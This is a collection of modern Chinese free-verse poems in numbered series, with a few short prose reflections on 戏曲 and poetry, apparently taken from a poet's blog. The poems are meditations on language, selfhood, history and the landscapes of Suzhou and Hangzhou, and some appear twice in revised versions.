李白，最后的诗人的光阴。 那些对于此的拒绝和推辞 他抚弄起来，手掌纤细。 酒杯空杯，最后一篇是惊鸿。 历史中的人儿脆弱，才 够得上命运，交给后人来说 的时候，是够不上的。 白素贞十八1252 《白素贞十八》 打听，打听到的。 虚无在历史里面。 叫做历史的空转， 当它被赋予虚假名谓的时候。 \/ 请在L史之外， 把它们以L史的方式念出来。 相似于那历史之外的那虚无， 因为念出这个始终出错的 才需要被时刻注意着。 \/ 名词和动词之间， 最好的是人。游移的人 平静了，静止了，回归了。 屈原，孔夫子，老庄。 在滞后的语言也赶了过来后 像历史中一些他们的回声。 青衣一1253 《青衣一》 生于可以安息和长眠之处。 正如苏州在自我对于它的 寻找到了后面。 苏州再一次， 因而被亲切的呼喊了出来。 声音，沉默的声音。 茶山十五1254 《茶山十五》 没有的是，当是以声音的喧哗。 声音正携带着因而是其他。 在这些，当这些于于其他上。 如今这又一次新的携带，好像 它的发生和它的没有的正在发生。 它，那个以如此而发生的。 在一个词语中矗立，委身 直到停留在词的名称和外表。 茶山十六1255 《茶山十六》 没有的是，当是以声音的喧哗。 声音正携带着因而是其他。 声音正在回来，回来有可能就是 修正的要义和关键所在。 只是还是需要沿着旧有轨迹。 抛出一个弄巧成拙的观点， 风声鹤唳经过了人， 鹤由人构成。人总能找到一个词语。 找寻比得到更重要， 这些风不知不觉变成了活着的讯息。 茶山十七1256 《茶山十七》 无依无靠的假象， 无所依，那么多的位置。 每个都是单一的位置。 有一个故事以说为开始， 说已经开始了。这使得我 觉得结束永远是一个谜 那些以结束作为开始和开端， 没有一次例外，但人需要 在看不清楚上面纠结着。 茶山十八1257 《茶山十八》 以画地为牢的态度， 看自成城池的。 把称作文字，就是 也包括着的我们自己。 统一体的对象化， 在自身上塑造的，叫做 一个对象。现实，和现实 里面因此迟迟不来的 是依据对象的口吻而来的。 人的目光如果落在了空处， 现实里面的一场雪花中， 就被迸溅，被飞翔的鸟儿 袭伤。 城西一1258 《城西一》 看不见脸，看我们是原因的后果。 永恒有多远，自我的追问渐渐 变做了询问。最开始的声响 因此要充满了疑问。 人在三月的柳树下面， 为相似性而发愁，不久， 为同Y性而难过。 不能同时是二者的是了的 迷蒙的生命。在听的一无所获 中收获满满。用仅有的麻袋装盛。 明天早晨登山礼f，更早的香客 已伸出了手，敲叩，比和尚起得更早。 山里，山外不，过是门里门外 晨雾扩散出去，消散也就扩散出去。 城西二1259 《城西二》 她没有吃过，坐在家门口。 苹果挂在树上，绿色的叶子。 太阳与群山形成一个光芒 顺着它洒下来的角度。 数学老师教的初中知识， 在她脑海里面一闪而过， 带着幽怨的味道。 对于一些老人老说， 有一座带院子的平房就是 平生的梦想。梦想着那容易 实现的，村子里面的人越来越 少了。再过一个中午，下午 黑夜就会笼罩大地，家家户户 窗户上亮起来的灯越来越少了 但会亮起来。 城西三1260 《城西三》 是与否之间被要求存在 就像爱情一样，它失了衡 像某种尚且没有的发生。 因此这多么的相似和近似， 真理本身反而是虚假的。 我只需要走到那里去，目的地 终点，或者回到起点。 头脑昏沉，渴望睡眠， 仅仅对于走的不足够上的， 和畅想上的。 茶山十九1261 《茶山十九》 以画地为牢的态度， 看自成城池的。看出， 只是彼此更早的把冷漠制造。 接着说了出来。相比于重复， 这欢喜自然的爱被称作自我。 如果以寻找对立面的方式， 去按照自己坚信的观点来看。 没有把自己置身在错误的人 只有自己才是，错误就是观点本身。 世界突兀，眼前的熟视无睹的世界 隐藏的秘密在傍晚来临 内心的不安和恐慌开始蔓延。 城西四1262 《城西四》 是的，是否。 几乎归于语言的 用处，权利。傍晚， 你想要回家，你躺了下来 床铺同时温暖了人的思绪。 你已经不知不觉， 在梦乡中走动。 回到了白天想要逃离的地方。 河面结冰，河边植物的 掉光和脱落，以叶子的方式 冲破矛盾的叶子，在十二月七号 因为你变得神秘莫测。 城西五1263 《城西五》 看不见脸， 盲目作为后果， 而后果不止于盲目。 \/ 人对待盲目的态度就在这里。 \/ 它们是说出来的话语， 像本质，像实质。 \/ 有一个院子，冬天很冷 都没有被暗示。 暗示是没有的。 这就是了，当提及的实质 正是如此的时候。 青蛇十六1264 《青蛇十六》 突然想到了丢弃，这个词。 这个词它的自身的度过， 当从永恒那里。踉踉跄跄， 很久，步伐慢慢的趋于稳定。 我是蹲着的，在一个水塘旁边。 影子落在冰面，隐隐约约。 在于勉强，就是可以以思绪 来称呼。 城西六1265 《城西六》 说出走的比说远。 更远的就不能说的。 只能看，看一桩桩 山水，永恒的不变， 像悬案。充满了语言。 青蛇十七1266 《青蛇十七》 我想把爱情作为一个标准， 语言在多余里面， 说着永恒，从这里 出发的一些光阴，时间 有一些目的地是那里。 在它们被浪费的时候， 是同时的时候，同一于我 或者同一的被称作了我 便是自然的我在说。 说的是它，但更像是覆盖在了 我说它的这一层上面 像语言的另外一层，我不太确定。 我的心绪并不复杂， 虽然我知道它应该是复杂的 还有一个远方之物，一个思绪 远方之物的本质就是为了躲避它。 白素贞十九1267 《白素贞十九》 看不见脸。与看不见，一张脸 看不见，多么容易推测到自己。 凌冽的早晨，一张脸紧随着 枯草上的白霜。很多昨天的事情 已经遗忘。就像去回想却无果， 都是多么自然。除了一个人不能 回到过去，他附带着感慨，雾气 从嘴里面呵了出来，穿着棉袄， 仿佛心灵在天地之外，却在过去 神秘的神游于此方天地。 城西七1268 《城西七》 兔子拉马车，前往空山。 山没有了兔子，空下来。 马车驮着跟回忆有关的事物。 只有兔子能胜任这项工作， 道路两旁除了树木，就是 树木不远处村庄，星星点点。 人声传来，炊烟升起。 有关兔子不能胜任的合理的推测。 戏曲的含义1269 戏曲的含义 戏曲的含义是诗意栖居于大地是不可能的，虚假的。 以诗歌的称呼来对这种不可能所做的一种称呼，它名字的可能性大于它的现实或者就是现实 城西八1270 《城西八》 看不见脸，另一个人说、感叹。 世界的繁复庞杂相互的融合， 在纠缠在一起是为了区分和 理清的时候。它的那相反的， 和相反的行程用来描述这种 相反，顺利的来到了厅堂 从花园过来，穿过木门，走廊。 此刻你站立着，一动不动， 像廊柱，身边的廊柱盘旋，浮雕 向上。 城西九1271 《城西九》 不需要之中的， 就是语言之中的， 被暗示了的太阳。 \/ 因为已足够明亮， 太阳照耀着，照着 这些谎言。它们的 正有所下一步的行动 就是阴影本身。 （仿佛是避无可避的） 诗歌的含义1272 诗歌的意思由来 \/ 诗歌由戏曲定义，戏曲如果拿来作标准，可以衡量一切。我是说人类的一切，以及因此是超出而于人类的以人类所作实则是人类之外的事物。因此在语言，不如说是【言语】，而形成了神秘的，给人叠叠重重的感受。 城西十1273 《城西十》 生于可以安息的， 祖父们正在走远的地方。 他或许瞥了你一眼， 瞥草丛，山坡，太湖的曲折 的海岸线。如何呢， 你只能自我告知着自己尚且 还是无形之中那一个。 \/ 苏州，这座城市。 名字，从古从古的至今 开始，生也如此 它们如此相像，例如生与死。 城西十一1274 城西十一 《城西十一》 看不见脸，另一个人说、感叹。 世界的繁复庞杂相互的融合， 在纠缠在一起是为了区分和 理清的时候。它的那相反的， 和相反的行程用来描述这种 相反，顺利的来到了厅堂 从花园过来，穿过木门，走廊。 此刻你站立着，一动不动。 这彼此矛盾的二者，也没有 将矛盾再继续的包括了。 廊柱，由此而来。人正走的更深 戏曲与诗歌1275 从韩东的到语言为止的诗歌的日常化主张，勇敢。 那种顽固性，以及日常化的写作的卓有成效，是否可以回到西方主体的自我解决，退让，让步式的依然因此而主体。我是说因退让出主体而主体了。主体反而因为此而更加的鲜明，在鲜明上面更加的鲜明。 我是说，中国人的现代性是指向了从戏曲开始的事物。呈现为所谓诗歌的现代性，现代性的汉语元诗指向的始终是当下的自己，类似自指。 既中国人的现代性意识的确立以戏曲为准。现代性指向了戏曲 城西十二1276 城西十二 《城西十二》 整个夏天只穿两条裙子是多么酸楚。 \/ 酸楚于它自身。没有在的在这的外面么。 这个让它成为酸楚的在被叫而以本身之间。 那已经不在了的是它的G辖范围。 它这个无可奈何着的因而所像着的， 人的无力。与事实有悖，明明 人充满了力量，等待着漫长时间里面 事实它什么时候才会变成一个错误？ \/ 沉默的少女的邻居和同路人 在这天，早晨的湖边林荫路 他们碰见，随即结伴而行 城西十三1277 《城西十三》 看不见脸，看我们是后果， 看结出了果实的树，和结不出来 像看一样。我也就像是它。 但我比它具体，真实。 是我导致了它，它就模糊，模糊的 如此真实进入了对于它所进行的 言说。是它自己从文字里面离开了 这正是我在对于它的言说里面， 真正想要说的。有时候它就是我的 诚实，我的良心。我良心未泯， 被突然的唤醒。它曾经躲藏， 在我的身体里面。但我觉得它 终究不是我的一部分，这始终 不是个长久之计。山林荫绿， 有的树可以结子，不能结果子 的树木，也想要像那些硕果累累的。 它因此一下子就消失不见了， 首先消失不见的并不是语言。 要说人只是一个旁观者，中性而无辜 那就有点良心上说不不过去了， 是了。这证明了我依然良心未泯。 药材铺一1278 《药材铺一》 从那些，这些， 和山坡另外一面 尽管那里常常，在被 老一辈描述的时候， 它那因此而成了的， 在确确实实上面的，天地 的另外。寂静的早晨 正自己深入夜晚。 我们的组成如同群星对 夜晚星空的组成。 语言有沉默不语的表象， 都为了描述呵气成雾的状况。 过了一小会，人休息充足 继续上路，夜晚随即占据了 人离开的地方，虽然 那里已经是白天。 药材铺二1279 《药材铺二》 从那些，这些 和山坡另外的一面。 絮语的本质需要情醒下来 即使你也曾经看到过了， 另外一个人最终失败。表情 激动，走向了絮絮叨叨。 介绍的无外乎自己的孩子或者， 家人。那同样天生就絮絮叨叨的 你看她多像你，通过那些 差异和不同。人都遗忘了时光。 夜晚彻底的降临，钟表在墙上 滴滴答答。 白素贞二十1280 《白素贞二十》 自Y是小的。屋子里面一个 思索的人引发了它本质的。 窗外树木和建筑物越来越多。 以到处受限的方式，在称作 空无里面走动。空无是对于 这种引发的称呼。不准确和恰当。 无论再怎么走动都不像风， 也不能够成为彼此的朋友。 终点是在那个人的脑海里面， 那人有一张脸，风景般冥顽不灵。 白素贞十二1281 白素贞二十 《白素贞二十》 自Y是小的。屋子里面一个 思索的人正在引发它的本质。 窗外树木和建筑物越来越多。 以到处受限的方式，称作了 空无里面走动。空无，对这种 引发的称呼。不准确和不恰当。 它无论再怎么走动都不像风， 也不能够成为彼此的好朋友。 终点是在那个人的脑海里面， 那人有一张脸，风景一般， 冥顽不灵都是多余的。 药材铺三1282 《药材铺三》 从那些，这些 和山坡另一面。 \/ 钟表的灰色指针， 因为已经万般的小心了。 它不免陷落，陷落之前 不得不同时将对命运的 敲击来坦白。不像告知， 二者的不同是圆满的最后的 也是最容易被忽视的。因此， 圆满，最好是为了与他人对话的 日常性和必要性而以残缺来表示。 \/ 错误还在继续。 不久买来的被称作了 新的钟表。就等于把 本属于它的还给了它们。 集市上的那个卖钟表和箱包，百货 店主店里面的。 上帝的仆人对人间充满了好奇， 因为悲伤全在表盘里面了。 城西十四1283 《城西十四》 寻找，意味着 和我眼前做的事情比交， 用毫无相关，踪迹的事物 相比较的时候它来了。 来不来都是一个样子。 回答的人就是提问的人。 提出一个无法回答的问题， 提一个高于时间的问题偏偏 要称作岁月的叹息。 老农民，胡子拉碴。早晨 扛着锄头，嘴里念叨着 一遍又一遍，在让别人 记住和遗忘之间来以此 表达选择，它这个事物。 我的脑袋里面你已经 因为怜悯而成为了一片 稍早一些的稻田。有雾气 神秘的雾气，大自然的雾气。 药材铺四1284 《药材铺四》 指不定与其他有关， 间接的与看有关。 直接的自我的相关的事情 外貌折射，是光， 那也是间接的事物 古老的人的面孔和看到的 大地上面，丛林里的猛犸大象 被折射。医生，穿上了 白色的防护服，手中的钢铁 掂量了掂量。又换做了 习惯的针筒。一个大夫就是 一个重重困难的向前。 真是奇怪——而这就是 被它逼迫出来的你的语言。 你还是感到奇怪， 在古老的传统和知识论的 东西方变迁里面的融合， 相互的具体，这才是重要的。 你的床铺不是病床， 永恒之中并没有一个病床。 这是一个严肃又诙谐的逻辑， 你每一天遗忘，想起，又遗忘。 你把它弄做了通过逻辑来制造 诙谐，而严肃的自己的那部分， 成了别人的。这就是那个顶着 走廊，房屋，过道，台阶。。。 的风暴前进者的困难。 你说，抛不开而将它说出而 重复者不可得。 药材铺五1285 《药材铺五》 垂首者可以通过弯曲 而回到自己。他时时刻刻的 戒备放在了准备的模样。 那么他是谁，便是他 已经为此所袭扰。 便是绕过了他的窗口就渐渐的 成为了一个约定俗成的习惯。 走吧，我们去看菊花。 山坡上也开满了星星点点的野花。 我们像花儿一样，但花儿却 因为他而充满了， 与我们截然相反的道义。 我的话语让这一切变得更加的具体， 我必须分外的小心又谨慎， 在路过这个人，他的窗台的时候 我是沉默的。走过了他的窗台， 那些我通过口口相传而对于他的 判断，就说了出来。 城西十五1286 《城西十五》 一条乡间马路， 重新将我拉回现实。 这是它与所思正在关连，。 这正是那被思索之物， 此刻出现了破碎和困难。 人世间的黄昏，质疑和责备， 无辜的黄昏。还是在这道路上。 城西十六1287 《城西十六》 天冷，很奇怪的和不奇怪的是 作为一个事件的是是否有人期待呢。 并没有。所以这是个悲伤的是 把小兔子撒开，它就会兴奋的跑 像雪地里面的白色莲花。一直 往前，替主人着想，替我找到 那些兔子一样的同类。语言中的 天冷，是因为一个冷，把语言 有一个内部给提示了。所以， 语言中的天冷只有薄薄的一层 并不是什么稀罕事。反而让 语言的内部，因此更加的具体。 我不去看它。诉诸于表达，我想 把一切都弄好时，却弄巧成拙。 城西十七1288 《城西十七》 山谷中有条路，像个秘密。 我觉得是个显性的秘密。 包括它成为了秘密的这个过程， 问山谷被什么所包裹的时候， 山谷中的这个小路， 就像一个把答案告知的秘密了。 我想说，还有比这更好的秘密吗 城西十八1289 《城西十八》 我等待一个结果， 你也是。我等待于你， 时间，因此并不公平。 以公平的巨大的深意 而因此才是需要选择以 平易近人。但首先却是 善于停歇的，夜晚的风。 时间是公平的， 我得到的令自己愤懑， 最初我只是略有生气的， 偶尔看你一下。 药材铺六1290 《药材铺六》 因为远， 接着是又因为它。 \/ 一切和眼前的事物 因此都是有罪的，这 先于了看。看看。 \/ 看看吧。看看它 只是问题的一半，一部分。 扮演一个乡村间农民， 暴露了之后我还可以大大方方的 走路。而这，几乎意味着 对仅仅扮演农民的坚决否认了。 \/ 是否是真的呢， 因此是真和假。 我因此是说真与假正在徐徐下降， 一个归宿已经因此因为语言 而有了着落，看看吧， 风景以及我的看到了它， 从那里，混乱被风景调和 人在哀愁的脆弱个体之外， 存在的坚强换了另一副样子， 大地上等待平静前漫长的时光。 药材铺七1291 《药材铺七》 风暴无辜， 以它能做什么来审视它时。 因此它其实也并不真的就无辜， 这是它像蜡烛一般无法移动， 静止中向上燃烧，无辜具体的内容。 \/ 黑，亮着。 无辜也确定了自己 的位置。和就是那一个 右手离开了良心胸膛的我。 \/ 起先还是有一阵白光的， 是黑色的并不彻底。 最后作为一个怀念光明的人， 但把寻找和摸索都丢掉了。 药材铺八1292 药材铺八 《药材铺八》 我坐在一把椅子上， 明天我会坐上另外的。 日子飞快，回想那些 被遗落之物， 从今天就已经开始了。 不知道昨天是个啥情况， 就是暴露了，精神浑噩 我需要休息，因我休息的 已经足够。 药材铺九1293 《药材铺九》 我走到一个地方， 我说一个人也走到同样的 地方。我就陷入到， 而以语言之中来表示。 那空无，因此来来回回 只有风的本质才是如此 而急需摆脱它自己的是风 来来回回里面有一种无辜， 因为人的始终无法察觉， 而愈演愈烈的风嘲笑着， 人类开始生出的怜悯。 人要到达用怜悯这个词语来 概括这一切，并想要在一切 结束后，目光投向附近的西湖。 需要多少历史来等待风平浪静 这附属的东西被历史的自我问答 在此刻，甩出来了。 灵隐寺里的大和尚一1294 《灵隐寺里的大和尚一》 坐禅，离从古自今 和把从古至今给删除近一些。 单一表示的双重性， 坐下来小心翼翼， 无形的正变作了娇气花瓶。 昨天，你被一个农民追赶。 昨天，我也说坐下来，就是这里 窗外只是风景，杜鹃鸟因为你 而没有来，迟到成为了 你的坐禅缘由，你又接着起身， 黄土田地里面，一屁股坐下。 我观察了很久，便是那 意思在于短暂，它转变的因此 困难重重。光头和尚，它这样 斥责于你。而那时候我特别无情， 我看无所看，所以才可以看 盯着那人类的德性，看枝头 被水稍微湿润。枯枝还没有掉落， 杜鹃鸟也没有来。你屁股上 有一道被枝条抽打的青淤， 我还想继续说点什么，其实 我什么都没说，想从你的坐禅 里面出来。 灵隐寺里的大和尚二1295 《灵隐寺里的大和尚二》 你要弄画眉的时候， 无论是不是 它都是了一只鸟。 它还是一只不断上升的鸟儿， 只是在你手儿低垂的时候 那停下来，那作为了上升的停了下来。 所以，这人的本质 多半因此并不是仅仅与自我有关。 这说出自我者必然是心生疑虑 但面相坚决的伪装。 除非你把墙上的老黄历盯得很紧， 就是这一天，伸出手，刷的一下 撕了下来。这一天天长地久。 上升的因为停留和手而永恒上升， 上升的写在了这一天的黄历上面 所以停留。你走出了屋子， 亭台楼阁，上水榭很快。 画眉鸟被你的手儿抚弄着， 在它通过你，看到了 万事万物的虚假的时候。 青蛇十八1296 青蛇十八 《青蛇十八》 对夕阳鞠躬， 黑夜就来了。 也可能是源自于 另一个人， 我心里想 也是黑夜早就来了。 灵隐寺里的大和尚三1297 《灵隐寺里的大和尚三》 对夕阳鞠躬， 黑夜就来了。 一个人低于黑夜， 只有一个自己可以低于， 而于了自己的人存在。 存在因此是繁多的， 但此刻，它又像是一个空洞的 词语，跟词语一起 也跟它制造的空无一起。 通过对于夕阳光的感谢， 区分出了我不是他。 区分出来了的那， “那个人”是语言的本质， 也不应该让它自己孤零零的。 心中呵，心中毫无关系的 闲云和野鹤。 灵隐寺里的大和尚五1498 《灵隐寺里的大和尚五》 对着夕阳鞠一躬， 黑夜来了。 排出来黑夜就来了的 夜，是需要语言的它。 需要言语的自己也是 黑夜的朋友和同谋。 \/ 但我觉得那黑的所指， 指的是应该这历程， 夜晚一下子就因此， 不会清冷和孤孤单单了。 \/ 夜晚有一个特别的真相的 长久。它像风一样来回的 踱步。像风吹动了叶子和 窗户，为了走了过来。 \/ 它告诉了我这孤孤单单的事物， 是热闹自身。它没有留给了我的。 是什么也没有，却是我的梦话 梦，手舞足蹈，呼吸。 梦包裹了语言，梦，透明的。 灵隐寺里的大和尚六1499 《灵隐寺里的大和尚六》 去山上去， 因为去没有名字的山 会有一个名字 它击碎了它自己简陋的名字 给它通过东西南北起名字的人们 已经越来越少，而 在人的具体里面到达了 人的一个的具体和鲜活 没有人再去说了， 他也抓不住语言的真相。 他在抓兔子，抓麻雀， 抓树上的雪时丢掉了自己 作为最后一个的事实。 幸好我不是他， 以他偶尔也认定幸好不是我的 方式。所以这意味着 面前的高山，我不会翻越 而白雪皑皑因此全都是语言。 去山上去吧， 回来的时候变成了一只白色的 兔子。（带来了山那边 住着一个孤独老猎人的消息。） 灵隐寺里的大和尚七1500 《灵隐寺里的大和尚七》 异乡人就是， 你住在我的房间 你是一位女士。 \/ 受冷的思想 包裹，以人。 直到这一切都一一的 指向了身体。 \/ 脚步还没停下来 成为了为停下所做的伴奏。 我差一点就踩空了了， 大理石的台阶，从高到低。 灵隐寺里的大和尚七1501 灵隐寺里的大和尚七 《灵隐寺里的大和尚七》 异乡人就是， 你住在我的房间 你是一位女士。 \/ 受冷的思想 包裹，以人。 直到这一切都一一的 指向了身体。 \/ 脚步还没停下来 成为了为停下所做的伴奏。 差一点就踩空，大理石台阶， 像踩在了它的上面。 傍晚的许汉文一1502 《傍晚的许汉文一》 连静也跟着静下来， 大家在一起。 \/ 这才是真正的静。 看透了静之真假与否， 以及用语言来解释它们的。 \/ 赐予的那个叫做了我， 没有话语于是怎么可能 行不通。人们都在寻找着我， 这被称做自我。 迟疑的话语吐露出来， 月亮的珍珠蚌。 \/ 四下无人时，平静下来 我也就抓住静止的袖子， 目的地是往喧嚣那里去。 \/ 古时候也有一个人骑着马， 往长安一片月的后面赶去。 在词语里面周转成了诗， 但因为太过小心而成为了 诗歌永恒的宿命。 傍晚的许汉文二1503 《傍晚的许汉文二》 连静也跟着静下来， 大家在一起。 \/ 这才是真正的静。 看透了静之真假与否， 以及用语言来解释它们的。 静，它那目光收回来 这时，和这时刻的山山水水 在哪里，明明就是一句假话。 \/ 我从椅子上面挪动屁股， 从院子里走出来， 对于不可能思考了很久， 犹豫，挣扎，没时间思索可能 当它伸出了不可能的触觉， 我还是觉得亲吻的月色来代替 亲吻是冰凉悲剧。 傍晚的许汉文二1504 傍晚的许汉文二 《傍晚的许汉文二》 连静也跟着静下来， 大家在一起。 \/ 这才是真正的静。 看透了静之真假与否， 以及用语言来解释它们的。 静，它那目光收回来 这时，和这时刻的山山水水 在哪里，明明就是一句假话。 \/ 我从椅子上面挪动屁股， 从院子里走出来， 对于不可能思考了很久， 犹豫，挣扎，没时间思索可能 当它伸出了不可能的触觉， 还是觉得亲吻的月色来代替 亲吻是冰凉悲剧的时候 白素贞二十一1505 《白素贞二十一》 这安静里， 把回答前的漫长也包括起来 的提问。一个坚持的人， 这样子的一个事， 让我站在了对面。 傍晚的许汉文三1506 《傍晚的许汉文三》 我喝了点酒 这多么容易呢， 就可以变成别人的语言 别人又用语言来掩饰，占有了它。 喝酒的时候，我的 一只眼睛打破了平衡和统一。 在分离里面似清醒， 关注，注视着。直到那另外一个 地方，那前方的无人对于人的 正在关注。世界上有比喝酒 更容易的事情。 承担了总是容易的酒水， 装起来。坛子向酒瓶过渡， 贴上标签表示。 也要寻找一个人， 在历史的丰富和繁杂中。 被检索着正坐在某个小巷边的 昏暗角落。一盘花生米，一盘 茴香豆。置自己思想于七上八下 于因此的才正确。又来了， 一个人。因此是离开者的 折返。像我只是在酒中折返， 折出了一个容易和轻易。 我也曾折叠过生活，语言 人mb。醉意熏熏为回忆 所袭扰的特别有必要时， 我也会折叠一个月亮， 古代的事情让我来承担， 没有一坛子景阳冈， 武松和老h的友好关系 就改变了L史。武松 坐下，L史的早已经改变， 坐下。我的言语在你的嘴里面 成为了一个秘密。 傍晚的许汉文三1507 傍晚的许汉文三 《傍晚的许汉文三》 我喝了点酒 这多么容易呢， 就可以变成别人的语言 别人又用语言来掩饰，占有了它。 喝酒的时候，我的 一只眼睛打破了平衡和统一。 在分离里面似清醒， 关注，注视着。直到那另外一个 地方，那前方的无人对于人的 正在关注。世界上有比喝酒 更容易的事情。 起到承担总是容易的酒水。 装起来。坛子向酒瓶过渡， 贴上标签表示。 也要寻找一个人， 在历史的丰富和繁杂中。 被检索着正坐在某个小巷边的 昏暗角落。一盘花生米，一盘 茴香豆。置自己思想于七上八下 于因此的才正确。又来了， 一个人。因此是离开者的 折返。像我只是在酒中折返， 折出了一个容易和轻易。 我也曾折叠过生活，语言 人mb。醉意熏熏为回忆 所袭扰的特别有必要时， 我也会折叠一个月亮， 古代的事情让我来承担， 没有一坛子景阳冈， 武松和老h的友好关系 就改变了L史。武松 坐下，L史的早已经改变， 坐下。我的言语在你的嘴里面 成为了一个秘密。 灵隐寺里的大和尚八1508 《灵隐寺里的大和尚八》 喝了的酒，要说。要自我的说， 它有着伟大的沉默 在世俗而平凡的生活中漂动着。 \/ 这真是伟大的难题， 像它们两个挚友其中之另一个 :目光不能被捕捉，始终如此 念叨它，话语也隐隐的如此。 \/ 一说起来，自我 直到大的像世界这样子的东西。 牢笼这个词语从话语 永不凝固的河流中次次滑过。 追思者的下游，荒滩和旷野 一切巨大的事物我都是需要的 请不要把热切的事物放在我的脸上 从喜怒哀乐中发现了微小的踪迹， 总是与我们由此的判断无关着。 傍晚的许汉文四1509 《傍晚的许汉文四》 我如今也需要 一根针，一根棍子， 走过一条河，在有无 它们之间。我看见了 有一条鱼在水里面。 \/ 鱼看见我了。 我看不见我对于看见的看。 \/ 这人间的使者， 曾经破开鱼儿的腹部，褪下鱼鳞。 曾写与鱼儿有关的诗歌 我给他把信寄去。 \/ 这人间的使者只有累 和疲惫，在偶尔的快乐之后 走过这条小桥的时候我快乐。 鱼儿也快乐。一下子， 使者就很多，天空是蓝色的 穿上了肃穆，在人的注目中 又变成温柔的湛蓝。 鱼儿也很多，人也是，使者 的唯一性，能够维持以命的 长度有多久。 （黑有多久？） 傍晚的许汉文四1510 傍晚的许汉文四 《傍晚的许汉文四》 我如今也需要 一根针，一根棍子， 走过一条河，在有无 它们之间。我看见了 有一条鱼在水里面。 \/ 鱼看见我了。 我看不见我对于看见的看。 \/ 这人间的使者， 曾经破开鱼儿的腹部，褪下鱼鳞。 曾写与鱼儿有关诗歌的人 我给他把信寄去。 \/ 这人间的使者只有累 和疲惫，在偶尔的快乐之后 走过这条小桥的时候我快乐。 鱼儿也快乐。一下子， 使者就很多，天空是蓝色的 穿上了肃穆，在人的注目中 又变成温柔的湛蓝。 鱼儿也很多，人也是，使者 的唯一性，能够维持以命的 长度有多久。 （黑有多久？） 灵隐寺里的大和尚二1511 《灵隐寺里的大和尚二》 你要弄画眉的时候， 无论是不是 它都是了一只鸟。 它还是一只不断上升的鸟儿， 只是在你手儿低垂的时候 那停下来，那作为了上升的停了下来。 所以，这人的本质 多半因此并不是仅仅与自我有关。 这说出自我者必然是心生疑虑 但面相坚决的伪装，遮掩了心灵的震荡。 除非你把墙上的老黄历盯得很紧， 就是这一天，伸出手，刷的一下 撕了下来。这一天天长地久。 上升的因为停留和手而永恒上升， 上升的写在了这一天的黄历上面 所以停留。你走出了屋子， 亭台楼阁，上水榭很快。 画眉鸟被你的手儿抚弄着， 在它通过你，看到了 万事万物的虚假的时候。 傍晚的许汉文五1513 《傍晚的许汉文五》 有没有人一起喝大酒？ 地球在滴溜溜的转， 月亮在滴溜溜的公转。 醉汉在无人巷子里 喊了一嗓子，挺突然的， 就成了一桩悬案。 \/ 内容是， 那滴溜溜声音的一嗓子， 那不旋转的，不公转的。 正在楼上学习的人，灯亮着。 傍晚的许汉文六1514 《傍晚的许汉文六》 去年的鸭子绿肥红瘦， 前后次序不一。 与去年的鸟儿矛盾， 冲突，便是语言。 语言在枝头下面 我把它拿了过来。 样子上是我说话， 废话是我说我把它给 说了出来。 我自我怪罪语言的时候 更多一些，所以我 万分的感谢你能来。 感激到可以假意可以 被你给看出来。 我想跟你一起走走， 我们从初中就认识了 有一年你的手冻上了， 我真想一口亲在你冻伤的 位置上面。 灵隐寺里的大和尚九1515 《灵隐寺里的大和尚九》 一个南瓜只为了吃吗， 那么它睡在人类的语言 上游，语言说， 一个黄球滚滚向下。 所以我不吃， 我愿意投身，因此 夜晚的罪人。 在夜晚里面睁开眼睛 或者以沉睡的便捷性 而与夜晚的眼睛相互的置换。 那些曾经并不必要的， 和情义的。和二者本就是 同一的。我是说，那个东西 ———它在语言的碎片里面。 我在因果里面， 和尚在隔壁念经，敲木鱼 南瓜粥怎么还没有端上来， 而我想的是它怎么做才合胃口。 西湖大波浪一1516 《西湖大波浪一》 羊，哞哞眸 羊说兔子是吱吱吱 这是啥来着，我忘了。 我一瞬间就几乎等同于 忘了一首诗歌 我蹲着喂养， 过一会喂兔子。 时间久了腰酸，腰疼。 我有怪罪它们的感觉， 我也听出了，诗歌 是罪状的含义。 灵隐寺里的大和尚十1517 《灵隐寺里的大和尚十》 对着夕阳鞠一躬， 黑夜来了。 排出来黑夜就来了的 夜，是需要语言的它。 需要言语的自己也是 黑夜的朋友和同谋。 \/ 但我觉得那黑的所指， 指的是应该这历程， 夜晚一下子就因此， 不会清冷和孤孤单单了。 \/ 所以沉默相应于清冷， 孤孤单单的走了下去。 我判断它为真的时候， 这是它倾斜，日暮西山远 之后的倾斜。平衡的傍晚 足以称得上L史性的 不在和消失了。 伟大的遁入h夜， 要在你的心里面响了起来。 西湖大波浪二1518 《西湖大波浪二》 常有人说春华， 隐喻性质的说秋实， 就好像秋实具有了西方色彩。 从果子下面往上看， 这一个确实好像如此的 往相反方向，否定去了 比困难更甚的人之自我。 旋转着的人，固定不变的 行走，平稳，进了果园。 \/ 果园在你身上走了一圈 回了来。叫做了你，叫做了 自我。在脸庞压语言的车辙。 \/ 一路上很多东西都在丢失， 失去，从那之中这才可以的 获得，已经如此的具体了 你也知道被呈现在了我的面前 但我这个人是因此衰弱无力。 西湖大波浪三1519 《西湖大波浪三》 色彩性质，学说的容易伟大， 这靠近句子四平八稳 的一切。都像浮萍，水草 有被水波给推了很远。 这一个巨大的情形， 确实因为相反的给包括 而容易遗漏。这只是说， 借着语言叙说的有必要性， 我们顺坡下驴变被动为了 主动。驴，主动只是一具空壳。 直到摇身一变，变成书生般的停止 穿着雅致，大褂白灰色。岸边闲的 d疼。 \/ 姜子牙逮鱼时候， 你我以他的邻居来相称。 逃遁的人留下一个背影， 如中山狼的语言，人 不可能跑的比狼和兔子还快。 要试一试的，要试一试 人的普遍性里面的单一的， 恰且，说不定语言正是 从神话天堂里面来。 西湖大波浪四1520 《西湖大波浪四》 常有人说春华， 隐喻性质的被说出， 就已经打破了， 隶属于它自身的了。 具体在我来了之后 流转，转换。从 贵妇人和高老头们， 向着小农，向着低处。 那不同于农民走向低处， 即使在历史中不曾有所 改变，是牛羊借此被标定的 位置。仿佛，只要山坡有， 青草，枯草有。悲剧史也显得 并不多余。于是从那里， 那里是用无名自我描述的 矛盾和冲突。 农民的自我介绍里面， 没有了羊群的羊群这一拥有， 把情形对富贵从早到晚 想象也包括。 这不足以输得彻底， 我的感觉在荒野， 出了城，重新做回了 农民，他人在南方。 西湖大波浪五1521 《西湖大波浪五》 狼群饱受的已经够了， 但在语言本质属性的 拯救，怜悯之外， 爆炸。接着爆炸的发生 语言意图追求于详实 和准确的还原。 正是看到了如此， 准确还原于精确性， 一只狼曾经与一个人夜谈 人觉得那是良宵，遂介绍 文字于动物的困难， 狼觉得穿过了雪的人 越了界限，最后时刻 借着他（或者借着你） 打量了一番它自己。 西湖大波浪六1522 《西湖大波浪六》 通过生长，接着 是凋零以及衰败。 山，大风问是否足够 刮的自己首先就晃晃悠悠， 